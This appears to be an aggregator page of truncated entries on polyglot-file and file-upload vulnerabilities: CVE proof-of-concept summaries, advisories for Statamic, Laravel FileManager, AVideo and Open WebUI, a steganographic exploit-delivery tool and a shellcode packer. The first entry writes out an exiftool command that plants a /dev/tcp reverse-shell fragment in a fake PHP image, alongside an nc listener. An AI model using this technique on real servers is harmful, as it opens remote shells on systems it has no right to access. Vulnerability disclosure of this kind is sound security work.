CVE-2023-24610

CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS versions 4.33.0 - Remote Code Execution Description In versions 4.33.0 of Statamic CMS where the front-end has a form with active file upload, it is possible to send PHP files created to look like images, regardless of the mime validation rules. This vulnerability...

PyStegosploit

PyStegosploit - Exploit Delivery via Steganography and Polyglots video1 | video2 | page by Charmve - yidazhang1 at gmaildotcom, @Charmve @therealsaumil @amichael May 2021 Stegosploit creates a new way to encode "drive-by" browser exploits and deliver them through image files. These payloads are...

CVE-2025-58440

CVE-2025-58440 Remote Code Execution RCE via Polyglot File Attack and Null Byte Injection on Laravel FileManager Overview The unisharp/laravel-filemanager package versions 2.11 are vulnerable to Remote Code Execution RCE due to improper file type validation during file uploads. The vulnerability...

EXPLOIT-CVE-2025-27515

CVE-2025-27515 Proof of Concept Eine praktische Demonstration von CVE-2025-27515 , einer Schwachstelle zur Umgehung der Datei-Upload-Validierung im Laravel-Framework ≤ 12.0.0. Überblick über die Schwachstelle CVE-2025-27515 ist eine Validierungsumgehung, die es Angreifern ermöglicht,...

CVE-2026-18438

The CVE-2026-18438 entry concerns the Templately – Elementor & Gutenberg Template Library WordPress plugin (versions up to 3.7.1). Root cause: a filename validation/destination mismatch in fetch_remote_file causes the destination path to be derived from the URL, while the Content-Disposition file...

CVE-2026-46529

Atril Document Viewer is the default document reader of the MATE desktop environment for Linux. A single-click remote code execution vulnerability in versions prior to 1.26.3 and 1.28.4 allows an attacker to achieve arbitrary code execution as the user by tricking them into clicking a link inside...

CVE-2026-46529

Atril Document Viewer is the default document reader of the MATE desktop environment for Linux. A single-click remote code execution vulnerability in versions prior to 1.26.3 and 1.28.4 allows an attacker to achieve arbitrary code execution as the user by tricking them into clicking a link inside...

CVE-2026-46529

Technical details such as affected versions, impact, and remediation are not provided in the supplied documents; monitor for updates from official advisories.

CVE-2026-45315 Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHEDIR/audio/transcriptions/.. The /cache/path route serve...

Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

Summary The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHEDIR/audio/transcriptions/.. The /cache/path route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no...

CVE-2026-33647

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the ImageGallery::saveFile method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An...

GHSA-WXJW-PHJ6-G75W AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload

Summary The ImageGallery::saveFile method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file valid JPEG magic bytes followed by PHP cod...

AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload

Summary The ImageGallery::saveFile method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file valid JPEG magic bytes followed by PHP cod...

CVE-2026-33647

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the ImageGallery::saveFile method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An...

CVE-2026-33647 AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the ImageGallery::saveFile method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An...

PT-2026-27169

Name of the Vulnerable Software and Affected Versions AVideo versions up to and including 26.0 Description AVideo is an open source video platform. The ImageGallery::saveFile method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the...

CERT-UA Warns of SmokeLoader and RoarBAT Malware Attacks Against Ukraine

An ongoing phishing campaign with invoice-themed lures is being used to distribute the SmokeLoader malware in the form of a polyglot file, according to the Computer Emergency Response Team of Ukraine CERT-UA. The emails, per the agency, are sent using compromised accounts and come with a ZIP...

Monomorph - MD5-Monomorphic Shellcode Packer - All Payloads Have The Same MD5 Hash

════════════════════════════════════╦═══ ╔═╦═╗ ╔═╗ ╔═╗ ╔═╗ ╔═╦═╗ ╔═╗ ╔══╔═╗ ╠═╗ ═╩ ╩ ╩═╚═╝═╩ ╩═╚═╝═╩ ╩ ╩═╚═╝═╩ ╠═╝═╩ ╩═ ════════════════════════════════╩═══════ By Retr0id ═══ MD5-Monomorphic Shellcode Packer ═ ══ USAGE: python3 monomorph.py inputfile outputfile payloadfile What does it do? It...